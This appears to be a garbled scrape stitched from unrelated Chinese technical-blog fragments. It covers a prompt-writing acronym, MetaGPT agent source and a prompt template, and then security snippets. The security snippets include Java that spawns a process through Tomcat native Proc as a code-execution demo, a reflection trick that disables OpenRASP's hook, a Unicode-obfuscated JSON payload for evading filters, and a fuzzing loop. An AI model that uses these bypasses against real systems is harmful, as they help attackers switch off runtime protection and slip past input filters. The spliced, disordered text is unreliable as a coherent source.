CR:Capacity and Role(能力与角色)。你希望 AI 扮演怎样的角色 I:Insight(洞察),提供背景信息和上下文 S:Statement(陈述),你希望 AI 做什么。 P:Personality(个性),你希望 AI 以什么风格或方式回答你。 E:Experiment(实验),要求 AI 为你提供多个答案
defstartup( idea: str = typer.Argument(None, help="Your innovative idea, such as 'Create a 2048 game.'"), investment: float = typer.Option(default=3.0, help="Dollar amount to invest in the AI company."), n_round: int = typer.Option(default=5, help="Number of rounds for the simulation."), code_review: bool = typer.Option(default=True, help="Whether to use code review."), run_tests: bool = typer.Option(default=False, help="Whether to enable QA for adding & running tests."), implement: bool = typer.Option(default=True, help="Enable or disable code implementation."), project_name: str = typer.Option(default="", help="Unique project name, such as 'game_2048'."), inc: bool = typer.Option(default=False, help="Incremental mode. Use it to coop with existing repo."), project_path: str = typer.Option( default="", help="Specify the directory path of the old version project to fulfill the incremental requirements.", ), reqa_file: str = typer.Option( default="", help="Specify the source file name for rewriting the quality assurance code." ), max_auto_summarize_code: int = typer.Option( default=0, help="The maximum number of times the 'SummarizeCode' action is automatically invoked, with -1 indicating " "unlimited. This parameter is used for debugging the workflow.", ), recover_path: str = typer.Option(default=None, help="recover the project from existing serialized storage"), init_config: bool = typer.Option(default=False, help="Initialize the configuration file for MetaGPT."), )
"""Set strategy of the Role reacting to observed Message. Variation lies in how this Role elects action to perform during the _think stage, especially if it is capable of multiple Actions. Args: react_mode (str): Mode for choosing action during the _think stage, can be one of: "react": standard think-act loop in the ReAct paper, alternating thinking and acting to solve the task, i.e. _think -> _act -> _think -> _act -> ... Use llm to select actions in _think dynamically; "by_order": switch action each time by order defined in _init_actions, i.e. _act (Action1) -> _act (Action2) -> ...; "plan_and_act": first plan, then execute an action sequence, i.e. _think (of a plan) -> _act -> _act -> ... Use llm to come up with the plan dynamically. Defaults to "react". max_react_loop (int): Maximum react cycles to execute, used to prevent the agent from reacting forever. Take effect only when react_mode is react, in which we use llm to choose actions, including termination. Defaults to 1, i.e. _think -> _act (-> return result and end) """
asyncdef_react(self) -> Message: """Think first, then act, until the Role _think it is time to stop and requires no more todo. This is the standard think-act loop in the ReAct paper, which alternates thinking and acting in task solving, i.e. _think -> _act -> _think -> _act -> ... Use llm to select actions in _think dynamically """ actions_taken = 0 rsp = Message(content="No actions taken yet", cause_by=Action) # will be overwritten after Role _act while actions_taken < self.rc.max_react_loop: # think todo = await self._think() ifnot todo: break # act logger.debug(f"{self._setting}: {self.rc.state=}, will do {self.rc.todo}") rsp = await self._act() actions_taken += 1 return rsp # return output from the last action
by_order模式源码如下
1 2 3 4 5 6 7 8
asyncdef_act_by_order(self) -> Message: """switch action each time by order defined in _init_actions, i.e. _act (Action1) -> _act (Action2) -> ...""" start_idx = self.rc.state if self.rc.state >= 0else0# action to run from recovered state rsp = Message(content="No actions taken yet") # return default message if actions=[] for i inrange(start_idx, len(self.states)): self._set_state(i) rsp = await self._act() return rsp # return output from the last action
asyncdef_plan_and_act(self) -> Message: """first plan, then execute an action sequence, i.e. _think (of a plan) -> _act -> _act -> ... Use llm to come up with the plan dynamically."""
# create initial plan and update it until confirmation goal = self.rc.memory.get()[-1].content # retreive latest user requirement await self.planner.update_plan(goal=goal)
# take on tasks until all finished while self.planner.current_task: task = self.planner.current_task logger.info(f"ready to take on task {task}")
# take on current task task_result = await self._act_on_task(task)
# process the result, such as reviewing, confirming, plan updating await self.planner.process_task_result(task_result)
rsp = self.planner.get_useful_memories()[0] # return the completed plan as a response
self.rc.memory.add(rsp) # add to persistent memory
PROMPT_TEMPLATE = """
NOTICE
Role: You are a professional engineer; the main goal is to write google-style, elegant, modular, easy to read and maintain code
Language: Please use the same language as the user requirement, but the title and code should be still in English. For example, if the user speaks Chinese, the specific text of your answer should also be in Chinese.
ATTENTION: Use '##' to SPLIT SECTIONS, not '#'. Output format carefully referenced "Format example".
# Context
## Design
{design}
## Task
{task}
## Legacy Code
1
{code}
## Debug logs
1 2 3
{logs}
{summary_log}
## Bug Feedback logs
1
{feedback}
# Format example
## Code: {filename}
1 2
## {filename} ...
# Instruction: Based on the context, follow "Format example", write code.
## Code: {filename}. Write code with triple quoto, based on the following attentions and context.
1. Only One file: do your best to implement THIS ONLY ONE FILE.
2. COMPLETE CODE: Your code will be part of the entire project, so please implement complete, reliable, reusable code snippets.
3. Set default value: If there is any setting, ALWAYS SET A DEFAULT VALUE, ALWAYS USE STRONG TYPE AND EXPLICIT VARIABLE. AVOID circular import.
4. Follow design: YOU MUST FOLLOW "Data structures and interfaces". DONT CHANGE ANY DESIGN. Do not use public member functions that do not exist in your design.
5. CAREFULLY CHECK THAT YOU DONT MISS ANY NECESSARY CLASS/FUNCTION IN THIS FILE.
6. Before using a external variable/module, make sure you import it first.
7. Write out EVERY CODE DETAIL, DON'T LEAVE TODO.
"""
Library.initialize(null); long pool = Pool.create(0); long proc = Proc.alloc(pool); Proc.create(proc, "/System/Applications/Calculator.app/Contents/MacOS/Calculator", new String[]{}, new String[]{}, Procattr.create(pool), pool);
基于反射破坏RASP运行时结构
openRASP
1 2 3 4 5 6
Class clazz = Class.forName("com.baidu.openrasp.HookHandler"); Field used = clazz.getDeclaredField("enableHook"); used.setAccessible(true); Object enableHook = used.get(null); Method setMethod = AtomicBoolean.class.getDeclaredMethod("set",boolean.class); setMethod.invoke(enableHook,false);
json数据:{"\u౦᥆༦۳\u꘠០६f\u꯰꧐໖e\u౦꣐꘧᪄\u꯰༠߆५\u૦၀६e\u๐᥆꤇꯴":"\u᮰߀٧൪\u໐୦᱆૮\u꣐០႖߉\u੦᠐௭౩\u၀୦꧒๐\u٠૦೬߉\u᮰୦೭߃\u᱀०٢۰\u೦൦൬୭\u୦൦᧖c\u០૦۶᱁\u᧐႐୭٣\u០᱐᧗౩\u০᱀۷᪙","\u၀꯰꩖e\u႐꘠७꧕\u᥆୦༦d":1} json反序列化为的Object:{"num":1,"content":"this is glassy"}
{identifier expr} is ODBC escape syntax and is accepted for ODBC compatibility. The value is expr. The { and } curly braces in the syntax should be written literally; they are not metasyntax as used elsewhere in syntax descriptions.
} else { exception.printStackTrace(); } } } } }; int length = demo.length(); for (int i = 0; i < length; i++) { System.out.println("*************************插入字符位置:" + i + "*************************"); Utils.doFuzz(demo, i, HandleType.INSERT, func); } for (int i = 0; i < length; i++) { System.out.println("*************************替换字符位置:" + i + "*************************"); Utils.doFuzz(demo, i, HandleType.REPLACE, func); } }